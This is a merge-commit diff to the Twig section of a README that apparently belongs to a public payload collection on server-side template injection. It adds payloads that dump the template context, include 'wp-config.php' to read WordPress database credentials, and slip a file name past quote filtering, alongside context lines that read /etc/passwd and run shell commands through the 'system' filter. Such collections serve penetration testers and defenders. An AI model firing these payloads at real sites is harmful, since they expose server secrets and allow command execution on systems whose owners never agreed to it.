Merge pull request #517 from svewa/master

Twig in Wordpress

Server Side Template Injection/README.md

@@ -775,6 +775,7 @@ Execute code using SSTI for Slim engine.
 {{7*7}}
 {{7*'7'}} would result in 49
 {{dump(app)}}
+{{dump(_context)}}
 {{app.request.server.all|join(',')}}
 ```
 
@@ -796,6 +797,7 @@ $output = $twig > render (
 
 ```python
 "{{'/etc/passwd'|file_excerpt(1,30)}}"@
+{{include("wp-config.php")}}
 ```
 
 ### Twig - Code execution
@@ -809,6 +811,12 @@ $output = $twig > render (
 {{['cat$IFS/etc/passwd']|filter('system')}}
 ```
 
+Example injecting values to avoid using quotes for the filename (specify via OFFSET and LENGTH where the payload FILENAME is)
+
+```python
+FILENAME{% set var = dump(_context)[OFFSET:LENGTH] %} {{ include(var) }}
+```
+
 Example with an email passing FILTER_VALIDATE_EMAIL PHP.
 
 ```powershell